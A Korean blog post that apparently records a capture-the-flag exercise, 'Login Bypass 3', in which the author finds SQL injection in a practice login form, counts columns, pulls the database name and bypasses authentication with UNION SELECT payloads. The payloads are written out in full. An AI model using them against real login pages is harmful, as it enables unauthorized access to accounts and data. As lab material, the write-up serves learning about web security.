[CTF] Login Bypass 3

CHIKA·2024년 5월 28일

CTF

목록 보기
2/6


푸는데 상당히 오래 걸린 문제다.

수많은 시도의 흔적..

secret Login 풀면서 플래그들을 이미 알아버렸지만 제대로 풀어보자

1. SQL Injection 가능여부

doldol' and '1'='1


로그인 된다.

2. 컬럼 수 확인

doldol' order by 2 #

order by 3부터는 로그인 안된다. 컬럼은 2개!

3. DB명 확인

doldol' union select 1,database() #
doldol' union select database(),2 #

하면 둘 다 doldol을 출력한다.
이제 DB명을 어떻게 확인하지..?

id = 'union select database(),'1'#
pw =1

을 입력하면 DB명을 확인 할 수 있다.

하지만 나는 문제 풀기 전까지 이 방법을 생각해내지 못했기에

update나 insert 문을 사용할 수 있지 않을까? -> DB명을 모른다 ->
그럼 select로 normaltic3를 넣을 수 있지 않을까?

내 웹서버에서

select id,PW from login_info where id ='tdsaffads' union select 'normaltic3','1234';

을 입력해보았다.

잘 작동되니 로그인 페이지에가서 똑같이 해본다

id : asdf' union select 'normaltic3','1234'#
pw : 1234

성공!

0개의 댓글